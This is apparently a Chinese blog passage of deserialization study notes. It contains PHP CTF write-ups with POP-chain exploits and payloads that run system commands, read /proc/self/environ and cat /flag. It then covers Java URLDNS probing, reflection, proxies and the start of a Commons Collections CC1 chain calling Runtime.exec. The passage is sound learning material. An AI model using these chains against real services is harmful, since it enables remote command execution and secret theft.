反序列化

2023 HZNUCTF ppppop

打开页面发现什么也没有,查看Cookie发现存在Cookie

1
Cookie=Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MDt9

base64解码后得到一串序列化数据

1
O:4:"User":1:{s:7:"isAdmin";b:0;}

b的值为0,尝试将b改为1伪造admin用户登录,进入网页,显示网页源码高亮:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
include('utils.php');

class A {
public $className;
public $funcName;
public $args;

public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}

class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}

if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}

php反序列化,审计本题就是想通过类A来调用某个类的某个方法。

编写poc验证漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class A {
public $className;
public $funcName;
public $args;

public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}

class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}

$a = new A();
$b = new B();
$a->className = $b;
$a->funcName = "system";
$a->args = "calc.exe";

$test = serialize($a);
$payload = base64_encode(strrev($test));
echo $payload."\n";

执行calc.exe,说明存在漏洞。更改$a->args的值,发现flag存在于环境变量中:

$a->args = “env”;

(Linux的环境变量也可以通过查看根目录下文件/proc/self/environ:$a->args = “cat /proc/self/environ”)

POST传入

1
payload=fTsidm5lIjozOnM7InNncmEiOjQ6czsibWV0c3lzIjo2OnM7ImVtYU5jbnVmIjo4OnN9ezowOiJCIjoxOk87ImVtYU5zc2FsYyI6OTpzezozOiJBIjoxOk8=

本题顺便复习了下___call()以及___destruct()魔术方法的使用方法:

__call():

1
__call($method,$arg_array);//调用一个未定义的方法的时候调用。当调用当前对象不存在的方法时,转向__call()

也就是说,如果test()方法未定义,那么test这个方法就会作为__call()的第一个参数传入,而test的参数会被装进数组中作为__call()的第二个参数传入。所以当调用

1
$foo->test(1,"2",3.4,true);

时,实际是相当于调用

1
$foo->__call("test",array(1,"2",3.4,true));

本题中B类中$funcName未定义,那么在A类中调用

1
$class->$funcName($this->args);

时,A::$funcName就会被传入B类__call()中的$func,A::$args传入B类的$arg,而$arg[0]就是字符串”calc.exe”。

在B中转向执行__call()也就是B::$func(B::arg[0]);也就是system(“calc.exe”);

__destruct():

类的析构函数,在销毁一个类之前执行一些操作。

1
2
3
4
5
#声明格式:
function __destruct(){
//TODO
}
#注意:析构函数不能带有任何参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#举例演示:
<?php
class Person
{
public $name;
public $age;
public $sex;
public function __construct($name="",$sex="男",$age=22)
{
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
public function say()#构造说话方法
{
echo "我叫:".$this->name.",性别:".$this->sex.",年龄:".$this->age;
}
public function __destruct()#声明一个析构方法
{
echo "我觉得我还可以再抢救一下,我的名字叫".$this->name;
}
}
$Person=new Person("小明");
unset($Person);//销毁上面创建的对象$Person
#output
#我觉得我还可以再抢救一下,我的名字叫小明

__construct():

构造函数,使用new关键字实例化一个对象的时候构造函数自动调用。一个类中只能存在一个构造函数。与析构函数不同的是__construct()可以带有参数(可选,不需要时可以省略),如果构造函数有参数的话,在实例化对象时也要传入对应的参数,例如上述destruct()方法示例中的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$Person=new Person("小明");
//也可以将上例中的__construct($name="",$sex="男",$age=22)参数的值进行修改,随意改,最终参数的值只看实例化传入的,
//例如构造函数声明和类Person实例化如下:
public function __construct($name="",$sex="男",$age=22)
{
$this->name=$name;
$this->sex=$sex;
$this->age=$age;
}
......
$Person=new Person("小红","女"23);
......
//则最后运行结果为
//我叫:小红,性别:女,年龄:23

如果没有在代码中显示地声明构造函数,类中会默认存在一个没有参数列表并且内容为空的构造函数。如果显示地声明了构造函数则类中的默认构造方法将不会存在。所以构造函数通常用来做一些准备工作,比如为某些参数赋值。

注意:如果显示地声明构造函数,那么它的访问权限必须是public,而且构造函数是在实例化时自动调用的,我们不需要手动调用。


2023ROIS冬令营week4 babyphp

这题综合性比较强,考察了挺多方面的东西的(大哭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
error_reporting(0);
function backdoor()
{
$a = $_GET["a"];
$b = $_GET["b"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
$class = new $a($b);
$str1 = substr($class, $d, $e);
$str2 = substr($class, $f, $g);
$str1($str2);
}

class popko
{
public $left;
public $right;

// public function __destruct()
public function __call($method,$args)
{
if (($this->left != $this->right) && (md5($this->left) === md5($this->right)) && (sha1($this->left) === sha1($this->right))) {
echo "backdoor is here";
backdoor();
}
}

public function __wakeup()
{
$this->left = "";
$this->right = "";
}
}

class pipimi
{
function __destruct()
{
echo $this->a->a();
}
}

$c = $_GET["c"];
if ($c != null) {
if (strstr($_GET["c"], "popko") === false) {
unserialize($_GET["c"]);
} else {
echo ":)";
}
} else {
highlight_file(__FILE__);
}

开局直接一波代码审计。先看后端代码,是反序列化,很明显是希望执行backdoor()后门来进行rce,执行backdoor()方法就要执行popko类里的__call()方法,执行popko里的__call()方法就要调用一个未定义的方法,再往下看发现pipimi类中a类和a方法均未定义,pop链就比较明显了:

1
pipimi::__destruct() => popko::__call() => backdoor()

再看__call()方法下的规则

1
2
3
4
if (($this->left != $this->right) && (md5($this->left) === md5($this->right)) && (sha1($this->left) === sha1($this->right))) {
echo "backdoor is here";
backdoor();
}

要求popko类中的$left和$right不相同但是md5编码和sha1编码强比较相同,因此popko->left和popko->right均为数组

编写poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
error_reporting(0);
function backdoor()
{
system("calc.exe");
}

class popko
{
public $left;
public $right;

// public function __destruct()
public function __call($method,$args)
{
backdoor();
}

#public function __wakeup()
#{
# $this->left = "";
# $this->right = "";
#}
}

class pipimi
{
function __destruct()
{
echo $this->a->a();
}
}


$pop=new popko();
$pop->left=[1];
$pop->right=[2];
$pip=new pipimi();
$pip->a=$pop;

echo serialize($pip);

漏洞存在,注意到popko类中的__wakeup()方法若执行会将left和right的值清空,_call()方法体的条件无法满足因此要绕过__wakeup()方法,

将生成的exp进行修改:

1
2
3
O:6:"pipimi":1:{s:1:"a";O:5:"popko":2:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}
//将popko的对象数2改为比2大的数
O:6:"pipimi":1:{s:1:"a";O:5:"popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}

注意到函数主体部分有判断语句

1
2
3
if (strstr($_GET["c"], "popko") === false) {
unserialize($_GET["c"]);
}

strrstr()函数区分大小写,但是php类不区分大小写,进行大写绕过

1
O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}

GET传入c

进入后门后查看backdoor()函数体:

1
2
3
4
5
6
7
8
9
10
11
12
13
function backdoor()
{
$a = $_GET["a"];
$b = $_GET["b"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
$class = new $a($b);
$str1 = substr($class, $d, $e);
$str2 = substr($class, $f, $g);
$str1($str2);
}

$a是一个类,向类$a中传入参数$b返回值赋值给$class。但是并未定义这样一个满足条件的类,这时候就要去学习php原生类的知识了。查找到原生类ERROR。

可以看到返回值前面几个字符为

1
Error: 12345#注意引号和字符串"12345"之间有个空格

目的就很明确了,$a为ERROR原生类,$b为一个由命令执行函数和执行的命令组成的字符串。$d和$e代表命令执行函数在ERROR返回值中的首位置和命令执行函数的长度,$f和$g代表所执行的命令在ERROR返回值中的首位置和长度进行截取。

1
2
3
4
5
6
7
$a = "ERROR";
$b = "systemls"
#此时error返回Error: systemls,其中s位于第七个位置,"system"长度6,同理,l位于13,"ls"长度2,则
$d = 7;
$e = 6;
$f = 13;
$g = 2;

GET传入a、b、d、e、f、g对应的值。

命令执行成功了。

对b、d、e、f、g进行修改,发现根目录下存在flag。

最终payload:

1
?c=O:6:"pipimi":1:{s:1:"a";O:5:"Popko":3:{s:4:"left";a:1:{i:0;i:1;}s:5:"right";a:1:{i:0;i:2;}}}&a=Error&b=systemcat /flag&d=7&e=6&f=13&g=9


2023安洵杯easy_unserialize

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
error_reporting(0);
class Good{
public $g1;
private $gg2;

public function __construct($ggg3)
{
$this->gg2 = $ggg3;
}

public function __isset($arg1)
{
if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
{
if ($this->gg2)
{
$this->g1->g1=666;
}
}else{
die("No");
}
}
}
class Luck{
public $l1;
public $ll2;
private $md5;
public $lll3;
public function __construct($a)
{
$this->md5 = $a;
}
public function __toString()
{
$new = $this->l1;
return $new();
}

public function __get($arg1)
{
$this->ll2->ll2('b2');
}

public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class To{
public $t1;
public $tt2;
public $arg1;
public function __call($arg1,$arg2)
{
if(urldecode($this->arg1)===base64_decode($this->arg1))
{
echo $this->t1;
}
}
public function __set($arg1,$arg2)
{
if($this->tt2->tt2)
{
echo "what are you doing?";
}
}
}
class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}

if(isset($_POST['D0g3']))
{
unserialize($_POST['D0g3']);
}else{
highlight_file(__FILE__);
}
?>

注意到Flag类中有__invoke()方法,当一个Flag类对象被当作方法来调用时会自动触发__invoke(),__invoke()方法下存在一个函数array_walk(),将Flag对象中的成员作为参数传入一个回调函数中。变量值为第一个参数变量名为第二个参数,eg:

题目代码中存在语句:,new一个对象并输出很容易想到php原生类的利用。因此将其作为poc链的终点

那么想触发__invoke()就需要将一个Flag对象作为方法来调用,注意到Luck类的__toString()方法中存在可控方法的调用

触发__toString()方法的条件为当Luck对象被当作字符串处理时(与字符串拼接,打印出来,以及编码,正则匹配等等操作都会自动调用),这里有两处编码,一处是To类中___call()方法中,一处是Luck类中__unset()方法下的md5()处。但是__call()方法的触发需要调用一个类中不存在的方法,需要满足两个条件,类可控,调用方法可控,代码中不存在满足条件的方法。而__unset()方法,需要在对未定义成员或者私有属性调用unset()方法时触发,注意到You类的__wakeup()方法下正好有个unset()方法。

至此poc链形成:

1
You::__wakeup()->Luck::__unset()->Luck::__toString->Flag::__invoke()

使用GlobIterator原生类构造poc(列出目录):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
error_reporting(0);
class Luck{
public $l1;
public $md5;
public function __toString()
{
$new = $this->l1;
return $new();
}

public function __unset($arg1)
{
if(md5(md5($this->md5)) == 666)
{
if(empty($this->lll3->lll3)){
echo "There is noting";
}
}
}
}

class You{
public $y1;
public function __wakeup()
{
unset($this->y1->y1);
}
}
class Flag{
public $GlobIterator = "/*";
public function __invoke()
{
echo "May be you can get what you want here";
array_walk($this, function ($one, $two) {
$three = new $two($one);
foreach($three as $tmp){
echo ($tmp.'<br>');
}
});
}
}

$flag = new Flag();

$luck = new Luck();
$luck->l1 = $flag;

$luck1 = new Luck();
$luck1->md5 = $luck;

$you = new You();
$you->y1 = new You();
$you->y1->y1 = $luck1;

echo urlencode(serialize($you));
?>

exp:

1
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A2%3A%7Bs%3A2%3A%22l1%22%3BN%3Bs%3A3%3A%22md5%22%3BO%3A4%3A%22Luck%22%3A2%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A12%3A%22GlobIterator%22%3Bs%3A2%3A%22%2F%2A%22%3B%7Ds%3A3%3A%22md5%22%3BN%3B%7D%7D%7D%7D

再使用SplFileObject原生类读取文件:

Java反序列化

基础知识:

1
2
3
4
//序列化:
ObjectOutputStream
//反序列化:
ObjectInputStream

序列化过程:

1
2
3
4
5
6
public class Serialize {
public static void Serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/java/com/test/serializetest/file/wow.dat"));
oos.writeObject(obj);
}
}

反序列化过程:

1
2
3
4
5
6
7
public class Unserialize {
public static Object Unserialize(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

被序列化的类需要使用Serializable接口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.test.serializetest;

import java.io.Serializable;

public class Person implements Serializable {
private transient String name;
private int age;
public Person(String name,int age){
this.name = name;
this.age = age;
}
public String toString(){
return "{ name : '"+name+"' ; age : "+age+" }";
}
}

transient关键字修饰的不会被序列化

可能的情况:

入口类readObject()方法直接调用危险函数(极小概率。实际开发没有人会闲着没事)

重写readObject()方法,写入危险函数(反序列化靶场1:

序列化一个Person对象后将其反序列化,弹窗计算器

URLDNS:

一个很完美的入口类:HashMap

它继承了Serializable接口,用于序列化操作:

HashMap类重写了readObject()方法,这是必要的

我们跟进HashMap类:

进到HashMap重写的readObject()方法,注意到调用了hash()方法:

跟进到hash()方法内,并在传入的对象不为null时调用hashCode()方法:

跟进hashCode()方法:

直接来到了Object类的hashCode()函数;至此,HashMap类我们需要利用到的链已经梳理清楚了,我们接下来寻找另一个可利用类:URL,URL类是Java的net包中提供的一个用于进行网络请求的类,内置很多的请求方法。

继承了Serializable接口,nice!

有个hashCode()方法,这里有个注意点在于黄色框框内的条件,如果hashCode的值不为-1,那么直接返回hashCode值而不执行下面的handler.hashCode(),那我们继续跟进hashCode()

这里有个getHostAddress()方法:

getHostAddress()->getByName(),就是获取一个请求域名的ip地址,那就必然会触发dns解析,可以作为黑盒时反序列化存在验证的特征

在HashMap中的hashCode()方法可以走到URL的hashCode()方法中

调用如下代码:

1
2
3
4
5
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<>();
hashMap.put(new URL("http://9fph4lv8yyoc7whmcdbzs13j8ae32tqi.oastify.com"),1);
Serialize. Serialize(hashMap);
}

按理来说在序列化过程中并不会调用readObject()方法,不会触发DNS解析,可是实际上却是收到了来自hook的请求:

问题是出在了put()方法上,查看put的代码:

显而易见,在put()时就已经调用了hash()方法(为确保键的唯一性):

而hash()方法调用了hashCode()方法,就导致不需要经过反序列化readObject()方法就可以调用URL的hashCode()方法,理解了这个之后我们会发现只需要到put()这一步就可以触发hashCode()了,那必然会对我们URLDNS探测反序列化漏洞造成混淆:

那么对一个已经序列化好的对象反序列化呢?能否触发readObject()方法呢?答案是不行的,在对URL进行分析时我们上面注意到,只有当hashCode值为-1时才执行handler.hashCode(),

同时类里定义了hashCode初始值为-1

在反序列化过程中由于我们的hashmap对象put了一个URL->Integer键值对,在URL::hashCode()方法中,如果hashCode为-1时,是会执行hashCode = handler.hashCode(this)语句从而改变hashCode的值,不再为-1

,所以hashCode值已经不为-1了,

那么有没有办法可以把已经实例化的对象的值进行操作呢?在put操作完之后将hashCode的值改回-1,答案是有的,那就是反射:

反射:

获取原型以及生成对象(Class,Instance):

Class类:反射就是通过操作Class类,从原型class中实例化对象,修改属性等等:

1
2
3
4
5
6
Person person = new Person("potato",19);
Class c = person.getClass();
//c.newInstance();
Constructor constructor = c.getConstructor(String.class,int.class);
Person p = (Person) constructor.newInstance("lff",18);
System.out.println(p.toString());

看以上代码:

先调用Person类构造器生成了一个person实例,属性值name为potato,age为19;

通过Class类下的getClass()方法来获取person对象的类的原型c;

此时如果像注释中直接调用newInstance()方法,那么默认是通过无参构造函数实例化对象的,但是显然,我们的Person类下的构造函数是有参的,这时就要使用Constructor类下的getConstructor()方法来构造有参实例了

查看getConstructor()方法的源码,参数是类泛型

然后将constructor对象调用newInstance()方法,来生成一个实例(返回Object对象),此时可以直接在newInstance()方法中传参。

或者:

1
Class c = Class.forName("Person");

或者:

1
Class c = Person.class;

属性(Field):

获取原型的属性:

getField():从类原型中获取公有属性,返回一个Field类型对象

getFields():从类原型中获取公有属性们,返回一个Field类型对象数组

getDeclaredFiled():从类原型中获取任何属性,返回一个Field类型对象

getDeclaredFields():从类原型中获取任何属性们,返回一个Field类型对象数组

如当我的age属性是私有的,那么不使用declared就无法访问到,使用getDeclaredFields()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class SerializeTestApplication {
public static void main(String[] args) throws Exception {
Person person = new Person("potato",19);
Class c = person.getClass();
Constructor constructor = c.getConstructor(String.class,int.class);
Person p = (Person) constructor.newInstance("lff",18);
System.out.println(p.toString());
Field[] fields = c.getDeclaredFields();
for (Field field: fields){
System.out.println(field);
}
}
/**输出
{ name : 'lff' ; age : 18 }
public java.lang.String com.test.serializetest.Person.name
private int com.test.serializetest.Person.age//会将age也获取到
**/

如果使用

1
2
Field f = c.getField("age");
System.out.println(f);

就会抛出异常信息:

但是使用

1
2
Field f = c.getDeclaredField("age");
System.out.println(f);

输出

1
private int com.test.serializetest.Person.age
获取对象属性值:

Field.getName():获取Field类型对象的属性名,返回字符串类型对象

1
2
3
4
5
6
7
8
Field[] fields = c.getDeclaredFields();
for (Field field: fields){
System.out.println(field.getName());
}
/**输出
name
age
**/

Field.get(Object obj):从obj对象中获取field类型中名为***的属性的值

1
2
Field f = c.getDeclaredField("name");
System.out.println(f.get(p));
修改对象属性值:

set(Object obj,"new_value"):将Field对象所映射属性在obj对象中对应的值改为”new_value”

1
2
3
4
Field f = c.getDeclaredField("name");
System.out.println(f.get(p));
f.set(p,"potato");
System.out.println(f.get(p));

输出:

1
2
lff
potato

但是在修改私有属性age的值的时候会发现抛出了异常:

1
2
3
4
Field f = c.getDeclaredField("age");
System.out.println(f.get(p));
f.set(p,20);
System.out.println(f.get(p));

原因是无法修改私有属性的值(实操get()也不行,即无法获取私有属性的值),但是反射赋予了我们极大的权限,可以修改属性的修饰符:

setAccessible(boolen):

1
2
3
4
5
Field f = c.getDeclaredField("age");
f.setAccessible(true);
System.out.println(f.get(p));
f.set(p,20);
System.out.println(f.get(p));

给field对象调用该方法,修改其对应映射的属性的权限

方法:

getMethod()

getMethods()

getDeclaredMethod()

getDeclaredMethods()

具体实现方法和属性的类似,以getMethod()为例:

1
2
Method method = c.getDeclaredMethod("toString");
System.out.println(method.invoke(p));

getDeclaredMethod()方法从类原型中获取名为toString的类方法,返回一个Method类型的对象

Method对象的invoke()方法,是调用对象p中的toString()方法,即打印出个人信息,结果如下:

但是如果是有参的方法的情况呢?

我们在Person类里新定义一个eat()方法:

如此调用:

1
2
Method method = c.getDeclaredMethod("eating");
method.invoke(p,"apple");

便出现了异常:

实际上与构造器类Constructor类似的,我们在获取有参方法时要传入参数:

修改为:

1
2
Method method = c.getDeclaredMethod("eating", String.class);
method.invoke(p,"apple");

达到预期

接下来就开始利用反射调URLDNS链,使其达到预期用于检测反序列化漏洞的目的:

利用反射调URLDNS链:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class SerializeTestApplication {
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<>();
URL url = new URL("http://665eab82.dnslog.store.");
Class c = url.getClass();
Field hashCodeField = c.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url,114514);
hashMap.put(url,1);
hashCodeField.set(url,-1);
Serialize.Serialize(hashMap);
// Unserialize.Unserialize("src/main/java/com/test/serializetest/file/data.dat");
}

在put之前将hashCode的值通过反射改为任意-1外的值,导致在调用put()方法时无法调用hashCode()方法,避免了因为put造成的影响查看DNS接受的数据,在put()调用之后,将hashCode的值再改为-1,满足readObject()方法中调用hashCode()的条件,序列化过程未接受到数据。

1
2
3
4
public class SerializeTestApplication {
public static void main(String[] args) throws Exception {
Unserialize.Unserialize("src/main/java/com/test/serializetest/file/data.dat");
}

反序列化过程中,会调用HashMap中readObect()中的hashCode(),同名方法也就会调用URL类中的hashCode()方法,因为hashCode值为-1,所以会调用hashCode()方法

DNSLog接收到解析数据:

做个断点调试,在此处下断点,进行反序列化,发现从文件中读取进行反序列化的过程中hashCode的值是-1:

URLDNS链利用的是同名方法hashCode(),那如果想调用除了同名方法之外的方法呢?通过invoke()

如果是像Runtime这样的没办法序列化的类呢?利用Class类来创建对象

JDK代理:

关于代理模式,这篇文章讲的非常清楚了,稍微整理一下内容:

代理,同网络中代理服务器的概念类似的,是引入一个中间人(代理对象)来代替对真实对象的访问,这样就可以在不修改原目标对象的前提下,提供额外的功能操作,扩展目标对象的功能。代理模式的主要作用是扩展目标对象的功能,比如说在目标对象的某个方法执行前后你可以增加一些自定义的操作。

静态代理:

比如说,就以模拟代理服务器为例:

定义一个模拟网络连接的接口

1
2
3
public interface NetConnector{
public void connect(String ip);
}

模拟网络连接接口的实现类:

1
2
3
4
5
public class userConnect implements NetConnector{
public void connect(String ip){
System.out.println("you've connected to "+ip);
}
}

创建代理类并实现网络连接的接口

1
2
3
4
5
6
7
8
9
10
11
12
public class UserProxy implements NetConnector{
private final NetConnector netConnector;
public UserProxy(NetConnector netConnector){
this.netConnector = netConnector;
}
@Override
public void connect(String ip){
Systrm.out.println("Before connect()");
netConnector.connect(ip);
Systrm.out.println("After connect()");
}
}

主函数实现:

1
2
3
4
5
6
7
public class Main{
public static void main(String[] args){
NetConnector netConnector = new NetConnector();
UserProxy userProxy = new UserProxy(netConnector);
userProxy.connect("127.0.0.1");
}
}

执行后输出:

1
2
3
Before connect()
you've connected to 127.0.0.1
After connect()

静态代理存在非常大的缺陷,即如果接口一旦修改或者新增方法,目标对象和代理对象都要修改,非常麻烦。并且实现起来不够灵活,需要被代理和代理类都实现一遍接口,当然实现类要写很多方法是必然的,但是代理的时候要写很多就很麻烦了。静态代理是在编译时就将接口,目标类和代理类全都编译成了一个个class文件

动态代理:

动态代理技术主要运用的是java中Proxy类下的 newProxyInstanc()方法,方法源代码如下:

其参数列表:

第一个参数是一个类加载器,java中基本上所有类的类加载器都相同;第二个是要代理的接口,可以传入多个,但是一般就一个,第三个参数是InvocationHandler类型的对象,下面会对InvocationHandler进行讲解

定义接口IUser:

1
2
3
4
5
6
7
package org.example;

public interface IUser {
void show();
void create();
void update();
}

实现类UserImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

public class UserImpl implements IUser {
@Override
public void show(){
System.out.println("show");
}
@Override
public void create(){
System.out.println("create");
}

@Override
public void update() {
System.out.println("update");
}

}

写一个类来实现InvocationHandler接口,该接口仅一个方法invoke(),需要重写:

重写的时候最主要的参数就是method,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package org.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvocationHandler implements InvocationHandler {

private IUser user;
public UserInvocationHandler(IUser user){
this.user = user;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
method.invoke(user,args);
return null;
}
}

动态代理类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.example;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;

public class ProxyTest {
public static void main(String[] args){
IUser user = new UserImpl();
//动态代理
InvocationHandler userInvocationHandler = new UserInvocationHandler(user);
IUser userProxy = (IUser) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(),userInvocationHandler);
userProxy.show();
userProxy.create();
}
}

上面已经知道了 newProxyInstanc()方法返回Object类型,因此要转型成IUser接口类型

在反序列化漏洞中的利用:

Common Collections:

CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

环境Common Collections<=3.2.1:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

利用过程:

Transform接口:

Transform接口提供了一个transform()方法,传入一个对象对对象进行操作之后输出:

查看实现类(ctrl+h):

重要的实现类有ConstantTransformerinvokerTransformerChainedTransformerTransformedMap

ConstantTransformer类:

其中的transform()方法不管输入什么都返回一个常量类iConstant,iConstant在构造器中获得

InvokerTransformer类:

构造方法传入可控的方法名(methodName),方法参数的类型(paramTypes),调用的参数(iArgs)

tranform()方法传入一个对象,获取这个对象的Class原型。。一整条下来是一个非常非常完美的反射链调用方法的过程

这样即可触发计算器

1
2
3
4
5
6
7
8
9
10
11
package com.example.commoncollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc"}).transform(runtime);
}
}

这里为 InvokerTransformer 类中的 transform()方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc),我们之前提到了 transform 方法中的反射调用,所以成功弹出计算器。

ChainedTransformer类:

ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法,并且将上一个transform方法返回的类传递给下一个进行调用,形成(N….transform(C.transform(B.transform(A.transform(Object)))))这样的一条链,数组的下一个元素对象执行数组的上一个元素对象的方法。

到这里为止可以构造一条链了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.example.commoncollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;

public class CC1 {
public static void main(String[] args) throws Exception{
String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[]{}}//获取到了getRuntime方法
),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[]{}}//用invoke方法传递参数,等于调用了getRuntime()方法,获取了一个Runtime对象,用于传入下一步
),
new InvokerTransformer("exec", new Class[]{String.class}, new
Object[]{cmd})
};
// 创建ChainedTransformer调⽤链对象
Transformer transformedChain = new ChainedTransformer(transformers);
// 执⾏对象转换操作
transformedChain.transform(null);



}

}

接下来就是看谁调用了InvokerTransformer类中的transformer()方法了,在寻找过程中如果发现a()方法调用了transformer()方法,就去找谁调用了a()方法,直到找到readObject()

TransformedMap类:

其checkSetValue()方法调用了transform()方法,跟进valueTransformer

构造方法中给valueTransform赋值,

但是构造方法为protected,在类里找,发现decorate()方法调用了构造器,可用于调用g构造函数

继续寻找谁调用了checkSetValue()方法:

在TransformedMap类的父类 AbstractInputCheckedMapDecorator下定义了类EntryMap类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

其中setValue()方法下调用了checkSetValue()方法,而这里的setValue()方法与Map.Entry下的相同

image-20231121212303111

只需要传入的参数合适便能达到预期目的,关于Java中的Entry类:

https://www.cnblogs.com/2839888494xw/p/15042850.html

通过Map.entrySet()方法,获取到键值对,然后循环遍历,对每个键值对执行setValue()方法,便等同于执行了MapEntry下的setValue()方法,进而调用checkSetValue()方法,因为checkSetValue()只修改valueTransformer的值,所以decorate的时候只需要在键值的位置传入需要调用transform()方法的类

测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package com.example.commoncollections;

import com.fasterxml.jackson.databind.ser.impl.MapEntrySerializer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
